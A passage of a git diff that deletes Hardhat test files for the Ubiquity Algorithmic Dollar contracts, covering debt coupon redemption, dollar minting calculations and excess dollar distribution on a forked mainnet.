exchangeDollarsForDebtCoupons() ) - // we only expand (price-1)* total Supply % more uAD at maximum see func: getDollarsToMint() - // this means that you may have coupon left after calling redeemCoupons() - // this is indeed on a first come first served basis - // 3. if the minted amount is > totalOutstandingDebt the excess is distributed - // 10% to treasury 10% to uGov fund and 80% to LP provider - - // debtCouponMgr uad balance should be empty - let debtUADBalance = await uAD.balanceOf(debtCouponMgr.address); - expect(debtUADBalance).to.equal(0); - const userUADBalanceBeforeRedeem = await uAD.balanceOf(secondAccountAdr); - const mintableUAD = await dollarMintingCalculator.getDollarsToMint(); - const excessUAD = mintableUAD.sub(debtCoupons); - const totalSupply = await uAD.totalSupply(); - expect(mintableUAD).to.equal(calcPercentage(totalSupply.toString(), uADPriceAfterSwap.sub(oneETH).toString())); - - // secondAccount must approve debtCouponMgr to manage all of its debtCoupons - // indeed debtCouponMgr will burn the user's debtCoupon - await expect(debtCoupon.connect(secondAccount).setApprovalForAll(debtCouponMgr.address, true)) - .to.emit(debtCoupon, "ApprovalForAll") - .withArgs(secondAccountAdr, debtCouponMgr.address, true); - // only redeem 1 coupon - await expect(debtCouponMgr.connect(secondAccount).redeemCoupons(expiryBlock, oneETH)) - .to.emit(debtCoupon, "BurnedCoupons") - .withArgs(secondAccountAdr, expiryBlock, oneETH) - .and.to.emit(uAD, "Transfer") // minting of uad; - .withArgs(ethers.constants.AddressZero, debtCouponMgr.address, mintableUAD) - .and.to.emit(uAD, "Transfer") // transfer of uAD to user - .withArgs(debtCouponMgr.address, secondAccountAdr, oneETH) - .and.to.emit(uAD, "Transfer") // transfer excess minted uAD to excess distributor - .withArgs(debtCouponMgr.address, excessDollarsDistributor.address, excessUAD) - .and.to.emit(uAD, "Transfer") // transfer of 50% of excess minted uAD to treasury - .withArgs(excessDollarsDistributor.address, await treasury.getAddress(), excessUAD.div(2).toString()) - .and.to.emit(debtCoupon, "TransferSingle") // ERC1155 - .withArgs(debtCouponMgr.address, secondAccountAdr, ethers.constants.AddressZero, expiryBlock, oneETH); - // we minted more uAD than what we needed for our coupon - expect(mintableUAD).to.be.gt(debtCoupons); - - const userUADBalanceAfterRedeem = await uAD.balanceOf(secondAccountAdr); - - expect(userUADBalanceAfterRedeem).to.equal(userUADBalanceBeforeRedeem.add(oneETH)); - // check that we have still one debt coupon - const debtCouponsAfterRedeem = await debtCoupon.balanceOf(secondAccountAdr, expiryBlock); - expect(debtCouponsAfterRedeem).to.equal(oneETH); - - // debtCouponMgr uad balance should not be empty because not all minted UAD have been transfered - // to coupon holder and excessDistributor - debtUADBalance = await uAD.balanceOf(debtCouponMgr.address); - expect(debtUADBalance).to.equal(oneETH); - - // excess distributor have distributed everything in excess - const excessDistributoUADBalance = await uAD.balanceOf(excessDollarsDistributor.address); - // no UAD should be left - expect(excessDistributoUADBalance).to.equal(1); - // make sure that calling getDollarsToMint twice doesn't mint all dollars twice - const mintableUADThisTime = await dollarMintingCalculator.getDollarsToMint(); - const dollarsToMint = mintableUADThisTime.sub(mintableUAD); - // dollars to mint should be only a fraction of the previously inflation of uAD total Supply - const beforeSecondRedeemTotalSupply = await uAD.totalSupply(); - - const newCalculatedMintedUAD = calcPercentage(beforeSecondRedeemTotalSupply.toString(), uADPriceAfterSwap.sub(oneETH).toString()); - const calculatedDollarToMint = newCalculatedMintedUAD.sub(mintableUAD); - - // check that our calculation match the SC calculation - expect(calculatedDollarToMint).to.equal(dollarsToMint); - // redeem the last 1 coupon - await expect(debtCouponMgr.connect(secondAccount).redeemCoupons(expiryBlock, oneETH)) - .to.emit(debtCoupon, "BurnedCoupons") - .withArgs(secondAccountAdr, expiryBlock, oneETH) - .and.to.emit(uAD, "Transfer") // minting of uad; - .withArgs(ethers.constants.AddressZero, debtCouponMgr.address, dollarsToMint) - .and.to.emit(uAD, "Transfer") // transfer of uAD to user - .withArgs(debtCouponMgr.address, secondAccountAdr, oneETH) - .and.to.emit(uAD, "Transfer") // transfer excess minted uAD to excess distributor - .withArgs(debtCouponMgr.address, excessDollarsDistributor.address, dollarsToMint) - .and.to.emit(uAD, "Transfer") // transfer of 50% of excess minted uAD to treasury - .withArgs(excessDollarsDistributor.address, await treasury.getAddress(), dollarsToMint.div(2).add(1)) - .and.to.emit(debtCoupon, "TransferSingle") // ERC1155 - .withArgs(debtCouponMgr.address, secondAccountAdr, ethers.constants.AddressZero, expiryBlock, oneETH); - - const finalTotalSupply = await uAD.totalSupply(); - - // total supply should only be increased by the difference between what has - // been calculated and what has been already minted - expect(finalTotalSupply).to.equal(beforeSecondRedeemTotalSupply.add(dollarsToMint)); - }); - it("calling exchangeDollarsForDebtCoupons twice after up and down cycle should reset dollarsMintedThisCycle to zero", async () => { - // Price must be below 1 to mint coupons - const uADPrice = await twapOracle.consult(uAD.address); - // remove liquidity one coin 3CRV only so that uAD will be worth less - const admBalance = await metaPool.balanceOf(await admin.getAddress()); - - // calculation to withdraw 1e18 LP token - // Calculate the amount received when withdrawing and unwrapping in a single coin. - // Useful for setting _max_burn_amount when calling remove_liquidity_one_coin. - const lpTo3CRV = await metaPool["calc_withdraw_one_coin(uint256,int128)"](oneETH, 1); - - const expected = lpTo3CRV.div(100).mul(99); - // approve metapool to burn LP on behalf of admin - await metaPool.approve(metaPool.address, admBalance); - - await metaPool["remove_liquidity_one_coin(uint256,int128,uint256)"](oneETH, 1, expected); - - await twapOracle.update(); - const uADPriceAfter = await twapOracle.consult(uAD.address); - expect(uADPriceAfter).to.be.lt(uADPrice); - // check that total debt is null - const totalDebt = await debtCoupon.getTotalOutstandingDebt(); - expect(totalDebt).to.equal(0); - - const amountToExchangeForCoupon = ethers.utils.parseEther("2"); - const secondAccountAdr = await secondAccount.getAddress(); - // approve debtCouponManager to burn user's token - await uAD.connect(secondAccount).approve(debtCouponMgr.address, amountToExchangeForCoupon.add(oneETH)); - let lastBlock = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - - const expiryBlock = lastBlock.number + 1 + couponLengthBlocks; - - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForDebtCoupons(amountToExchangeForCoupon)).to.emit(debtCoupon, "MintedCoupons"); - let debtCoupons = await debtCoupon.balanceOf(secondAccountAdr, expiryBlock); - // Price must be above 1 to redeem coupon - // we previously removed 3CRV from the pool meaning uAD is <1$ because - // we have more uAD than 3CRV. In order to make uAD >1$ we will swap 3CRV - // for uAD. - // Note that we previously burnt uAD but as we get the price from curve the - // uAD burnt didn't affect the price - - let CRVAmountToSwap = ethers.utils.parseEther("10000"); - - // Exchange (swap) - await swap3CRVtoUAD(metaPool, crvToken, CRVAmountToSwap.sub(BigNumber.from(1)), curveWhale); - await twapOracle.update(); - await swap3CRVtoUAD(metaPool, crvToken, BigNumber.from(1), curveWhale); - await twapOracle.update(); - - let uADPriceAfterSwap = await twapOracle.consult(uAD.address); - expect(uADPriceAfterSwap).to.be.gt(oneETH); - - // now we can redeem the coupon - // 1. this will update the total debt by going through all the debt coupon that are - // not expired it should be equal to debtCoupons here as we don't have uAR - // 2. it calculates the mintable uAD based on the mint rules - // where we don't expand the supply of uAD too much during an up cyle - // (down cycle begins when we burn uAD for debtCoupon see func: exchangeDollarsForDebtCoupons() ) - // we only expand (price-1)* total Supply % more uAD at maximum see func: getDollarsToMint() - // this means that you may have coupon left after calling redeemCoupons() - // this is indeed on a first come first served basis - // 3. if the minted amount is > totalOutstandingDebt the excess is distributed - // 10% to treasury 10% to uGov fund and 80% to LP provider - - // debtCouponMgr uad balance should be empty - let debtUADBalance = await uAD.balanceOf(debtCouponMgr.address); - expect(debtUADBalance).to.equal(0); - const userUADBalanceBeforeRedeem = await uAD.balanceOf(secondAccountAdr); - const mintableUAD = await dollarMintingCalculator.getDollarsToMint(); - const excessUAD = mintableUAD.sub(debtCoupons); - let totalSupply = await uAD.totalSupply(); - - expect(mintableUAD).to.equal(calcPercentage(totalSupply.toString(), uADPriceAfterSwap.sub(oneETH).toString())); - - // secondAccount must approve debtCouponMgr to manage all of its debtCoupons - // indeed debtCouponMgr will burn the user's debtCoupon - await expect(debtCoupon.connect(secondAccount).setApprovalForAll(debtCouponMgr.address, true)) - .to.emit(debtCoupon, "ApprovalForAll") - .withArgs(secondAccountAdr, debtCouponMgr.address, true); - // only redeem 1 coupon - await expect(debtCouponMgr.connect(secondAccount).redeemCoupons(expiryBlock, oneETH)) - .to.emit(debtCoupon, "BurnedCoupons") - .withArgs(secondAccountAdr, expiryBlock, oneETH) - .and.to.emit(uAD, "Transfer") // minting of uad; - .withArgs(ethers.constants.AddressZero, debtCouponMgr.address, mintableUAD) - .and.to.emit(uAD, "Transfer") // transfer of uAD to user - .withArgs(debtCouponMgr.address, secondAccountAdr, oneETH) - .and.to.emit(uAD, "Transfer") // transfer excess minted uAD to excess distributor - .withArgs(debtCouponMgr.address, excessDollarsDistributor.address, excessUAD) - .and.to.emit(uAD, "Transfer") // transfer of 50% of excess minted uAD to treasury - .withArgs(excessDollarsDistributor.address, await treasury.getAddress(), excessUAD.div(2).toString()) - .and.to.emit(debtCoupon, "TransferSingle") // ERC1155 - .withArgs(debtCouponMgr.address, secondAccountAdr, ethers.constants.AddressZero, expiryBlock, oneETH); - // we minted more uAD than what we needed for our coupon - expect(mintableUAD).to.be.gt(debtCoupons); - - const userUADBalanceAfterRedeem = await uAD.balanceOf(secondAccountAdr); - - expect(userUADBalanceAfterRedeem).to.equal(userUADBalanceBeforeRedeem.add(oneETH)); - // check that we have still one debt coupon less - debtCoupons = await debtCoupon.balanceOf(secondAccountAdr, expiryBlock); - expect(debtCoupons).to.equal(amountToExchangeForCoupon.sub(oneETH)); - - // debtCouponMgr uad balance should not be empty because not all minted UAD have been transfered - // to coupon holder and excessDistributor - debtUADBalance = await uAD.balanceOf(debtCouponMgr.address); - expect(debtUADBalance).to.equal(oneETH); - - // excess distributor have distributed everything in excess - const excessDistributoUADBalance = await uAD.balanceOf(excessDollarsDistributor.address); - // no UAD should be left - expect(excessDistributoUADBalance).to.equal(1); - - // swap again to go down 1$ and up again - const uADAmountToSwap = ethers.utils.parseEther("1000"); - await swapUADto3CRV(metaPool, uAD, uADAmountToSwap.sub(BigNumber.from(1)), secondAccount); - await twapOracle.update(); - await swapUADto3CRV(metaPool, uAD, BigNumber.from(1), secondAccount); - await twapOracle.update(); - - uADPriceAfterSwap = await twapOracle.consult(uAD.address); - expect(uADPriceAfterSwap).to.be.lt(oneETH); - // mint debtCoupon this is needed to reset the dollarsMintedThisCycle - lastBlock = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - const newExpiryBlock = lastBlock.number + 1 + couponLengthBlocks; - totalSupply = await uAD.totalSupply(); - await expect(debtCouponMgr.connect(secondAccount).exchangeDollarsForDebtCoupons(oneETH)).to.emit(debtCoupon, "MintedCoupons"); - - const newDebtCoupons = await debtCoupon.balanceOf(secondAccountAdr, newExpiryBlock); - // coupon premium is 1/(1-total_debt/total_supply)² - expect(newDebtCoupons).to.equal(calcPremium(oneETH.toString(), totalSupply.toString(), oneETH.toString())); - // swap to be > 1$ - CRVAmountToSwap = ethers.utils.parseEther("10000"); - - // Exchange (swap) - await swap3CRVtoUAD(metaPool, crvToken, CRVAmountToSwap.sub(BigNumber.from(1)), curveWhale); - await twapOracle.update(); - await swap3CRVtoUAD(metaPool, crvToken, BigNumber.from(1), curveWhale); - await twapOracle.update(); - - uADPriceAfterSwap = await twapOracle.consult(uAD.address); - expect(uADPriceAfterSwap).to.be.gt(oneETH); - - // make sure that calling getDollarsToMint twice doesn't mint all dollars twice - const mintableUADThisTime = await dollarMintingCalculator.getDollarsToMint(); - - // dollars to mint should be only a fraction of the previously inflation of uAD total Supply - totalSupply = await uAD.totalSupply(); - const newCalculatedMintedUAD = calcPercentage(totalSupply.toString(), uADPriceAfterSwap.sub(oneETH).toString()); - expect(newCalculatedMintedUAD).to.equal(mintableUADThisTime); - - // redeem the last 1 coupon - await expect(debtCouponMgr.connect(secondAccount).redeemCoupons(expiryBlock, debtCoupons)) - .to.emit(debtCoupon, "BurnedCoupons") - .withArgs(secondAccountAdr, expiryBlock, debtCoupons) - .and.to.emit(uAD, "Transfer") // minting of uad; - .withArgs(ethers.constants.AddressZero, debtCouponMgr.address, mintableUADThisTime) - .and.to.emit(uAD, "Transfer") // transfer of uAD to user - .withArgs(debtCouponMgr.address, secondAccountAdr, debtCoupons) - .and.to.emit(uAD, "Transfer") // transfer excess minted uAD to excess distributor - .withArgs(debtCouponMgr.address, excessDollarsDistributor.address, mintableUADThisTime.sub(newDebtCoupons)) - .and.to.emit(uAD, "Transfer") // transfer of 50% of excess minted uAD to treasury - .withArgs(excessDollarsDistributor.address, await treasury.getAddress(), mintableUADThisTime.sub(newDebtCoupons).div(2)) - .and.to.emit(debtCoupon, "TransferSingle") // ERC1155 - .withArgs(debtCouponMgr.address, secondAccountAdr, ethers.constants.AddressZero, expiryBlock, debtCoupons); - }); -}); diff --git a/packages/contracts/dollar/test/DollarMintingCalculator.test.ts b/packages/contracts/dollar/test/DollarMintingCalculator.test.ts deleted file mode 100644 index c89b683e5..000000000 --- a/packages/contracts/dollar/test/DollarMintingCalculator.test.ts +++ /dev/null @@ -1,102 +0,0 @@ -import { BigNumber, Signer } from "ethers"; -import { ethers, getNamedAccounts } from "hardhat"; -import { expect } from "chai"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { MockuADToken } from "../artifacts/types/MockuADToken"; -import { MockTWAPOracle } from "../artifacts/types/MockTWAPOracle"; -import { DollarMintingCalculator } from "../artifacts/types/DollarMintingCalculator"; -import { calcDollarsToMint, isAmountEquivalent } from "./utils/calc"; - -describe("DollarMintingCalculator", () => { - let metaPoolAddr: string; - let curve3CrvToken: string; - let manager: UbiquityAlgorithmicDollarManager; - let twapOracle: MockTWAPOracle; - let dollarMintingCalculator: DollarMintingCalculator; - let admin: Signer; - let uAD: MockuADToken; - - const setup = async (uADTotalSupply: BigNumber, priceUAD: BigNumber, price3CRV: BigNumber) => { - // set uAD Mock - const UAD = await ethers.getContractFactory("MockuADToken"); - uAD = (await UAD.deploy(uADTotalSupply)) as MockuADToken; - - await manager.setDollarTokenAddress(uAD.address); - // set TWAP Oracle Mock - - const TWAPOracleFactory = await ethers.getContractFactory("MockTWAPOracle"); - twapOracle = (await TWAPOracleFactory.deploy(metaPoolAddr, uAD.address, curve3CrvToken, priceUAD, price3CRV)) as MockTWAPOracle; - - await manager.setTwapOracleAddress(twapOracle.address); - }; - - beforeEach(async () => { - ({ curve3CrvToken } = await getNamedAccounts()); - // list of accounts - [admin] = await ethers.getSigners(); - // deploy manager - const UADMgr = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - manager = (await UADMgr.deploy(await admin.getAddress())) as UbiquityAlgorithmicDollarManager; - - // setup the oracle - metaPoolAddr = await manager.stableSwapMetaPoolAddress(); - - // set Dollar Minting Calculator - const dollarMintingCalculatorFactory = await ethers.getContractFactory("DollarMintingCalculator"); - dollarMintingCalculator = (await dollarMintingCalculatorFactory.deploy(manager.address)) as DollarMintingCalculator; - await manager.setDollarMintingCalculatorAddress(dollarMintingCalculator.address); - }); - it("getDollarsToMint should revert with price less than 1$", async () => { - const totSupply = ethers.utils.parseEther("10000"); - const uadPrice = ethers.utils.parseEther("0.9"); - const price3CRV = ethers.utils.parseEther("1"); - await setup(totSupply, uadPrice, price3CRV); - await expect(dollarMintingCalculator.getDollarsToMint()).to.be.reverted; - }); - it("getDollarsToMint should return zero with price equal to 1$", async () => { - const totSupply = ethers.utils.parseEther("10000"); - const uadPrice = ethers.utils.parseEther("1"); - await setup(totSupply, uadPrice, uadPrice); - const toMint = await dollarMintingCalculator.getDollarsToMint(); - expect(toMint).to.equal(0); - }); - it("getDollarsToMint should return 10% of total supply with price equal to 1.1$", async () => { - const totSupply = ethers.utils.parseEther("10000"); - const uadPrice = ethers.utils.parseEther("1.1"); - await setup(totSupply, uadPrice, uadPrice); - const toMint = await dollarMintingCalculator.getDollarsToMint(); - expect(toMint).to.equal(ethers.utils.parseEther("1000")); - }); - it("getDollarsToMint should work with price above 1$", async () => { - const totSupply = ethers.utils.parseEther("10000"); - const uadPrice = ethers.utils.parseEther("1.054678911145683254"); - await setup(totSupply, uadPrice, uadPrice); - const toMint = await dollarMintingCalculator.getDollarsToMint(); - const calculatedToMint = calcDollarsToMint(totSupply.toString(), uadPrice.toString()); - expect(toMint).to.equal(calculatedToMint); - }); - it("getDollarsToMint lose precision if supply is too large", async () => { - const totSupply = ethers.utils.parseEther("99999999999999999999"); - - const uadPrice = ethers.utils.parseEther("1.05467891114568354"); - await setup(totSupply, uadPrice, uadPrice); - // check tfor overflow revert - const toMint = await dollarMintingCalculator.getDollarsToMint(); - const calculatedToMint = calcDollarsToMint(totSupply.toString(), uadPrice.toString()); - - // assert expected precision - const isPrecise = isAmountEquivalent(calculatedToMint.toString(), toMint.toString()); - expect(isPrecise).to.be.true; - expect(toMint).not.to.equal(calculatedToMint); - }); - it("getDollarsToMint should work if supply is no too large", async () => { - const totSupply = ethers.utils.parseEther("999999999999999"); - - const uadPrice = ethers.utils.parseEther("1.054678911145683254"); - await setup(totSupply, uadPrice, uadPrice); - // check tfor overflow revert - const toMint = await dollarMintingCalculator.getDollarsToMint(); - const calculatedToMint = calcDollarsToMint(totSupply.toString(), uadPrice.toString()); - expect(toMint).to.equal(calculatedToMint); - }); -}); diff --git a/packages/contracts/dollar/test/ExcessDollarsDistributor.test.ts b/packages/contracts/dollar/test/ExcessDollarsDistributor.test.ts deleted file mode 100644 index 6334f92e7..000000000 --- a/packages/contracts/dollar/test/ExcessDollarsDistributor.test.ts +++ /dev/null @@ -1,318 +0,0 @@ -import { BigNumber, Signer } from "ethers"; -import { ethers, getNamedAccounts, network } from "hardhat"; -import { expect } from "chai"; -import { SushiSwapPool } from "../artifacts/types/SushiSwapPool"; -import { UbiquityGovernance } from "../artifacts/types/UbiquityGovernance"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { ERC20 } from "../artifacts/types/ERC20"; - -import { IUniswapV2Router02 } from "../artifacts/types/IUniswapV2Router02"; -import { IUniswapV2Pair } from "../artifacts/types/IUniswapV2Pair"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { resetFork } from "./utils/hardhatNode"; -import { IMetaPool } from "../artifacts/types/IMetaPool"; -import { ExcessDollarsDistributor } from "../artifacts/types/ExcessDollarsDistributor"; - -describe("ExcessDollarsDistributor", () => { - let metaPool: IMetaPool; - let manager: UbiquityAlgorithmicDollarManager; - let admin: Signer; - let secondAccount: Signer; - let thirdAccount: Signer; - let treasury: Signer; - let bondingContractAdr: string; - let bondingContract: Signer; - let uAD: UbiquityAlgorithmicDollar; - let crvToken: ERC20; - let curveFactory: string; - let curve3CrvBasePool: string; - let curve3CrvToken: string; - let curveWhaleAddress: string; - let curveWhale: Signer; - let uGOV: UbiquityGovernance; - let sushiUGOVPool: SushiSwapPool; - let treasuryAdr: string; - let excessDollarsDistributor: ExcessDollarsDistributor; - const routerAdr = "0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F"; // SushiV2Router02 - let router: IUniswapV2Router02; - - beforeEach(async () => { - // list of accounts - ({ curveFactory, curve3CrvBasePool, curve3CrvToken, curveWhaleAddress } = await getNamedAccounts()); - [admin, secondAccount, thirdAccount, treasury, bondingContract] = await ethers.getSigners(); - await resetFork(12592661); - router = (await ethers.getContractAt("IUniswapV2Router02", routerAdr)) as IUniswapV2Router02; - - // deploy manager - const UADMgr = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - manager = (await UADMgr.deploy(await admin.getAddress())) as UbiquityAlgorithmicDollarManager; - - const uADFactory = await ethers.getContractFactory("UbiquityAlgorithmicDollar"); - uAD = (await uADFactory.deploy(manager.address)) as UbiquityAlgorithmicDollar; - await manager.setDollarTokenAddress(uAD.address); - const uGOVFactory = await ethers.getContractFactory("UbiquityGovernance"); - uGOV = (await uGOVFactory.deploy(manager.address)) as UbiquityGovernance; - await manager.setGovernanceTokenAddress(uGOV.address); - // set twap Oracle Address - crvToken = (await ethers.getContractAt("ERC20", curve3CrvToken)) as ERC20; - - // to deploy the stableswap pool we need 3CRV and uAD - // kindly ask a whale to give us some 3CRV - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [curveWhaleAddress], - }); - curveWhale = ethers.provider.getSigner(curveWhaleAddress); - await crvToken.connect(curveWhale).transfer(manager.address, ethers.utils.parseEther("10000")); - // just mint som uAD - // mint 10000 uAD each for admin, manager and secondAccount - const mintings = [await secondAccount.getAddress(), await thirdAccount.getAddress(), manager.address].map(async (signer): Promise => { - await uAD.mint(signer, ethers.utils.parseEther("10000")); - }); - await Promise.all(mintings); - - await uGOV.mint(await thirdAccount.getAddress(), ethers.utils.parseEther("1000")); - - await manager.deployStableSwapPool(curveFactory, curve3CrvBasePool, crvToken.address, 10, 4000000); - // setup the oracle - const metaPoolAddr = await manager.stableSwapMetaPoolAddress(); - metaPool = (await ethers.getContractAt("IMetaPool", metaPoolAddr)) as IMetaPool; - - const excessDollarsDistributorFactory = await ethers.getContractFactory("ExcessDollarsDistributor"); - excessDollarsDistributor = (await excessDollarsDistributorFactory.deploy(manager.address)) as ExcessDollarsDistributor; - - // set treasury,uGOV-UAD LP (TODO) and Bonding Cntract address needed for excessDollarsDistributor - treasuryAdr = await treasury.getAddress(); - await manager.setTreasuryAddress(treasuryAdr); - - bondingContractAdr = await bondingContract.getAddress(); - await manager.setBondingContractAddress(bondingContractAdr); - - const sushiFactory = await ethers.getContractFactory("SushiSwapPool"); - sushiUGOVPool = (await sushiFactory.deploy(manager.address)) as SushiSwapPool; - await manager.setSushiSwapPoolAddress(sushiUGOVPool.address); - }); - it("distributeDollars should do nothing if total uAD is 0", async () => { - await excessDollarsDistributor.distributeDollars(); - const treasuryBalance = await uAD.balanceOf(treasuryAdr); - expect(treasuryBalance).to.equal(0); - }); - - it("distributeDollars should work", async () => { - // simulate distribution of uAD to ExcessDollarDistributor - const amount = ethers.utils.parseEther("101"); - const tenPercent = amount.mul(10).div(100); - const fiftyPercent = amount.div(2); - await uAD.connect(secondAccount).transfer(excessDollarsDistributor.address, amount); - let excessDollarBalance = await uAD.balanceOf(excessDollarsDistributor.address); - expect(excessDollarBalance).to.equal(amount); - // amount of LP token to send to bonding contract - const dyuADto3CRV = await metaPool["get_dy(int128,int128,uint256)"](0, 1, amount.sub(fiftyPercent).sub(tenPercent)); - const dyuAD2LP = await metaPool["calc_token_amount(uint256[2],bool)"]([0, dyuADto3CRV], true); - - const LPInBondingBeforeDistribute = await metaPool.balanceOf(bondingContractAdr); - expect(LPInBondingBeforeDistribute).to.equal(0); - // provide liquidity to the pair uAD-UGOV so that 1 uGOV = 10 uAD - const secondAccAdr = await secondAccount.getAddress(); - // must allow to transfer token - await uAD.connect(thirdAccount).approve(routerAdr, ethers.utils.parseEther("10000")); - await uGOV.connect(thirdAccount).approve(routerAdr, ethers.utils.parseEther("1000")); - // If the liquidity is to be added to an ERC-20/ERC-20 pair, use addLiquidity. - const blockBefore = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - await router - .connect(thirdAccount) - .addLiquidity( - uAD.address, - uGOV.address, - ethers.utils.parseEther("10000"), - ethers.utils.parseEther("1000"), - ethers.utils.parseEther("9900"), - ethers.utils.parseEther("990"), - secondAccAdr, - blockBefore.timestamp + 100 - ); - const UGOVPair = (await ethers.getContractAt("IUniswapV2Pair", await sushiUGOVPool.pair())) as IUniswapV2Pair; - - let uGOVId = 1; - let uADId = 0; - if ((await UGOVPair.token0()) !== uAD.address) { - uADId = 1; - uGOVId = 0; - } - const uGOVLPTotalSupplyBeforeDistribution = await UGOVPair.totalSupply(); - const zeroAdrBalBeforeBurnLiquidity = await UGOVPair.balanceOf(ethers.constants.AddressZero); - const reservesBeforeBurn = await UGOVPair.getReserves(); - // distribute uAD - await excessDollarsDistributor.distributeDollars(); - // 50% should go to the treasury - const treasuryBalance = await uAD.balanceOf(treasuryAdr); - expect(treasuryBalance).to.equal(fiftyPercent); - // Check that 10% goes to uGOV-UAD LP buyBack and burn - const reservesAfterBurn = await UGOVPair.getReserves(); - const remainingUAD = await uAD.balanceOf(excessDollarsDistributor.address); - // we should have 5 more uAD because of the swap and ~5 more because of - // the liquidity provided. It is not exactly 5 because the price moved because of - // the swap - expect(reservesAfterBurn[uADId]).to.equal((reservesBeforeBurn[uADId] as BigNumber).add(amount.mul(10).div(100)).sub(remainingUAD)); - // we should have 0 more uGOV - expect(reservesAfterBurn[uGOVId]).to.equal(reservesBeforeBurn[uGOVId]); - - const uGOVLPTotalSupplyAfterDistribution = await UGOVPair.totalSupply(); - const zeroAdrBalAfterBurnLiquidity = await UGOVPair.balanceOf(ethers.constants.AddressZero); - - expect(uGOVLPTotalSupplyAfterDistribution.sub(uGOVLPTotalSupplyBeforeDistribution.add(zeroAdrBalAfterBurnLiquidity))).to.be.lt( - ethers.utils.parseEther("0.0004") - ); - expect(zeroAdrBalAfterBurnLiquidity).to.be.gt(zeroAdrBalBeforeBurnLiquidity); - const scBalAfterBurnLiquidity = await UGOVPair.balanceOf(excessDollarsDistributor.address); - expect(scBalAfterBurnLiquidity).to.equal(0); - // 50% of UAD should have been deposited as liquidity to curve and transfered - // to the bonding contract - // calculate the amount of LP token to receive - - // no CRV tokens should be left - const crvBalanceAfterAddLiquidity = await crvToken.balanceOf(excessDollarsDistributor.address); - expect(crvBalanceAfterAddLiquidity).to.equal(0); - // no LP tokens should be left - const LPBalAfterAddLiquidity = await metaPool.balanceOf(excessDollarsDistributor.address); - expect(LPBalAfterAddLiquidity).to.equal(0); - // all the LP should have been transferred to the bonding contract - const fourtyPercentAsLP = await metaPool.balanceOf(bondingContractAdr); - - expect(dyuAD2LP).to.be.lt(fourtyPercentAsLP); - // 99.9 % precise - expect(dyuAD2LP).to.be.gt(fourtyPercentAsLP.mul(999).div(1000)); - - // some uAD is left because when we swap uAD for UGOV we change the price in - // the sushi pool and then we can't add liquidity with all our uAD left - excessDollarBalance = await uAD.balanceOf(excessDollarsDistributor.address); - expect(excessDollarBalance).to.equal(BigNumber.from("12607400750000001")); - }); - - it.skip("distributeDollars should work with limited liquidity", async () => { - // drain all uad from the pool - const dyuAD2DAIBefore = await metaPool["get_dy_underlying(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - - console.log(` - 1 uAD => ${ethers.utils.formatEther(dyuAD2DAIBefore)} DAI - `); - - const balancesUADBefore = await metaPool.balances(0); - console.log("balancesUADBefore", ethers.utils.formatEther(balancesUADBefore)); - const balancesCRVBefore = await metaPool.balances(1); - console.log("balancesCRVBefore", ethers.utils.formatEther(balancesCRVBefore)); - const lpBalance = await metaPool.balanceOf(await admin.getAddress()); - const LPamountToWithdraw = lpBalance.sub(lpBalance.div("10")); - console.log("before dyuAD"); - const dyuAD = await metaPool["calc_withdraw_one_coin(uint256,int128)"](LPamountToWithdraw, 1); - console.log("before remove_liquidity_one_coin"); - await metaPool["remove_liquidity_one_coin(uint256,int128,uint256)"](LPamountToWithdraw, 1, dyuAD.mul(99).div(100)); - console.log("after remove_liquidity_one_coin"); - const balancesUADAfter = await metaPool.balances(0); - console.log("balancesUADAfter", ethers.utils.formatEther(balancesUADAfter)); - const balancesCRVAfter = await metaPool.balances(1); - console.log("balancesCRVAfter", ethers.utils.formatEther(balancesCRVAfter)); - const dyuAD2DAIAfter = await metaPool["get_dy_underlying(int128,int128,uint256)"](0, 1, ethers.utils.parseEther("1")); - console.log("after get_dy_underlying"); - console.log(` - 1 uAD => ${ethers.utils.formatEther(dyuAD2DAIAfter)} DAI - `); - // simulate distribution of uAD to ExcessDollarDistributor - const amount = ethers.utils.parseEther("10000"); - const tenPercent = amount.mul(10).div(100); - const fiftyPercent = amount.div(2); - await uAD.connect(secondAccount).transfer(excessDollarsDistributor.address, amount); - let excessDollarBalance = await uAD.balanceOf(excessDollarsDistributor.address); - - console.log("before dyuADto3CRV"); - expect(excessDollarBalance).to.equal(amount); - // amount of LP token to send to bonding contract - const dyuADto3CRV = await metaPool["get_dy(int128,int128,uint256)"](0, 1, amount.sub(fiftyPercent).sub(tenPercent)); - const dyuAD2LP = await metaPool["calc_token_amount(uint256[2],bool)"]([0, dyuADto3CRV], true); - console.log("dyuADto3CRV", ethers.utils.formatEther(dyuADto3CRV)); - console.log("dyuAD2LP", ethers.utils.formatEther(dyuAD2LP)); - const LPInBondingBeforeDistribute = await metaPool.balanceOf(bondingContractAdr); - expect(LPInBondingBeforeDistribute).to.equal(0); - // provide liquidity to the pair uAD-UGOV so that 1 uGOV = 10 uAD - const secondAccAdr = await secondAccount.getAddress(); - // must allow to transfer token - await uAD.connect(thirdAccount).approve(routerAdr, ethers.utils.parseEther("10000")); - await uGOV.connect(thirdAccount).approve(routerAdr, ethers.utils.parseEther("1000")); - // If the liquidity is to be added to an ERC-20/ERC-20 pair, use addLiquidity. - const blockBefore = await ethers.provider.getBlock(await ethers.provider.getBlockNumber()); - console.log("before addLiquidity"); - await router - .connect(thirdAccount) - .addLiquidity( - uAD.address, - uGOV.address, - ethers.utils.parseEther("10000"), - ethers.utils.parseEther("1000"), - ethers.utils.parseEther("9900"), - ethers.utils.parseEther("990"), - secondAccAdr, - blockBefore.timestamp + 100 - ); - const UGOVPair = (await ethers.getContractAt("IUniswapV2Pair", await sushiUGOVPool.pair())) as IUniswapV2Pair; - - let uADId = 0; - if ((await UGOVPair.token0()) !== uAD.address) { - uADId = 1; - } - const uGOVLPTotalSupplyBeforeDistribution = await UGOVPair.totalSupply(); - const zeroAdrBalBeforeBurnLiquidity = await 